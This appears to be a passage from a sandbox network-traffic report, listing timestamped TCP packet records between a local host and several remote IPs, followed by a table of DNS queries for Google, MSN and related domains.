Nov 15, 2024 09:55:45.912043095 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912071943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912111998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912117958 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912125111 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912156105 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912158966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912168026 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912194014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912228107 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912241936 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912261009 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912271976 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912295103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912302017 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912331104 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912344933 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912385941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912420034 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912432909 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912461042 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912467003 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912496090 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912529945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912544012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912563086 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912575960 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912596941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912630081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912642002 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912678957 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:45.912698984 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.912723064 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:45.946779013 CET	443	49980	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.947068930 CET	49980	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.947088003 CET	443	49980	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.948182106 CET	443	49980	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.948302031 CET	49980	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.948698044 CET	49980	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.948762894 CET	443	49980	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.948920012 CET	49980	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.948926926 CET	443	49980	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.949014902 CET	49980	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:45.949038029 CET	443	49980	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:45.958704948 CET	443	49982	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.959402084 CET	49982	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.959446907 CET	443	49982	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.959959984 CET	49982	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.959969997 CET	443	49982	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.963514090 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.964416027 CET	49983	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.964432955 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.964912891 CET	49983	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.964916945 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.970087051 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.970463037 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.970474958 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:45.970896959 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:45.970901966 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.021512985 CET	49980	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:46.064558029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064579010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064595938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064610004 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064624071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064637899 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064649105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064668894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064682007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064680099 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.064694881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064708948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064728975 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064740896 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064742088 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.064754963 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064763069 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.064774036 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064789057 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.064794064 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064805984 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064816952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064820051 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.064829111 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064846992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064848900 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.064857006 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.064872980 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064882040 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.064884901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064898968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064905882 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.064912081 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064934015 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.064938068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064954996 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.064960003 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064973116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064985991 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.064989090 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065016031 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065025091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065035105 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065042019 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065047026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065059900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065072060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065074921 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065084934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065095901 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065097094 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065112114 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065140009 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065161943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065174103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065186024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065202951 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065227032 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065262079 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065273046 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065285921 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065306902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065310955 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065320969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065330982 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065334082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065346956 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065354109 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065354109 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065366030 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065370083 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065397978 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065401077 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065412045 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065413952 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065428019 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065438032 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065442085 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065459967 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065459967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065470934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065475941 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065505981 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065507889 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065520048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065532923 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065545082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065562010 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065570116 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065598965 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065759897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065773010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065784931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065812111 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065814972 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065826893 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065838099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065839052 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065864086 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065885067 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065906048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065917969 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065931082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065952063 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065960884 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.065972090 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065984964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.065999031 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066009998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066020966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066025019 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066040993 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066066980 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066075087 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066112995 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066137075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066148996 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066184044 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066207886 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066220045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066231012 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066232920 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066246986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066258907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066260099 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066287994 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066292048 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066306114 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066308975 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066318989 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066339016 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066339970 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066350937 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066354990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066368103 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066376925 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066400051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066401005 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066414118 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066426039 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066468000 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066485882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066498041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066509962 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066534042 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066550016 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066823006 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066834927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066847086 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066864014 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066878080 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066895962 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066909075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066926956 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066936016 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.066947937 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066967964 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.066992998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.067007065 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.067029953 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.067029953 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.067042112 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.067054987 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.067056894 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.067075968 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.067087889 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.068713903 CET	443	49981	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:46.069048882 CET	49981	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:46.069077015 CET	443	49981	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:46.069437027 CET	443	49981	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:46.069756031 CET	49981	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:46.069818974 CET	443	49981	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:46.070003033 CET	49981	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:46.070055008 CET	49981	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:46.070076942 CET	443	49981	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:46.082621098 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.083457947 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.083477020 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.084032059 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.084037066 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.091499090 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.091573000 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.091640949 CET	49983	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.091918945 CET	49983	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.091934919 CET	443	49983	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.092168093 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.092827082 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.092842102 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.093408108 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.093413115 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.098061085 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.098135948 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.098197937 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.098969936 CET	49988	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.099020004 CET	443	49988	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.099124908 CET	49988	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.099376917 CET	49984	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.099385023 CET	443	49984	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.099713087 CET	49988	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.099725008 CET	443	49988	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.103378057 CET	49989	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.103423119 CET	443	49989	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.103487015 CET	49989	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.103717089 CET	49989	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.103734970 CET	443	49989	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.110972881 CET	443	49980	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:46.111599922 CET	49980	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:46.111656904 CET	443	49980	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:46.111814022 CET	443	49980	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:46.111867905 CET	49980	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:46.113770008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:46.118767023 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.213243008 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.213278055 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.213330984 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.213335991 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.213375092 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.216327906 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.216350079 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.216362953 CET	49985	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.216367960 CET	443	49985	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.221479893 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.221523046 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.221591949 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.222017050 CET	49990	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.222029924 CET	443	49990	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.222999096 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.223081112 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.223145008 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.223256111 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.223278046 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.223294020 CET	49986	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.223299026 CET	443	49986	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.225765944 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.225807905 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.226411104 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.226461887 CET	49991	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:46.226475000 CET	443	49991	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:46.395802021 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.395868063 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:46.395878077 CET	80	49872	185.215.113.206	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 15, 2024 09:55:24.274194002 CET	192.168.2.7	1.1.1.1	0x793	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:24.274406910 CET	192.168.2.7	1.1.1.1	0x6c08	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 15, 2024 09:55:28.056674004 CET	192.168.2.7	1.1.1.1	0x22d6	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:28.056855917 CET	192.168.2.7	1.1.1.1	0x59ec	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 15, 2024 09:55:29.056636095 CET	192.168.2.7	1.1.1.1	0xa1e6	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:29.056782961 CET	192.168.2.7	1.1.1.1	0x10ce	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 15, 2024 09:55:34.040198088 CET	192.168.2.7	1.1.1.1	0x89d2	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:34.040716887 CET	192.168.2.7	1.1.1.1	0xe2a4	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 15, 2024 09:55:36.029875994 CET	192.168.2.7	1.1.1.1	0x203c	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:36.030077934 CET	192.168.2.7	1.1.1.1	0xbc3f	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 15, 2024 09:55:37.213263988 CET	192.168.2.7	1.1.1.1	0x542d	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:37.213742018 CET	192.168.2.7	1.1.1.1	0x8419	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 15, 2024 09:55:37.228250027 CET	192.168.2.7	1.1.1.1	0x306e	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:37.228548050 CET	192.168.2.7	1.1.1.1	0x5dca	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 15, 2024 09:55:37.239783049 CET	192.168.2.7	1.1.1.1	0xe048	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:37.239976883 CET	192.168.2.7	1.1.1.1	0xe8f2	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 15, 2024 09:55:37.246454000 CET	192.168.2.7	1.1.1.1	0x2c7	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:37.246687889 CET	192.168.2.7	1.1.1.1	0xc0fd	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 15, 2024 09:55:37.508826017 CET	192.168.2.7	1.1.1.1	0xdb49	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 15, 2024 09:55:37.508991957 CET	192.168.2.7	1.1.1.1	0x568f	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 15, 2024 09:55:38.924485922 CET	192.168.2.7	1.1.1.1	0x9d58	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
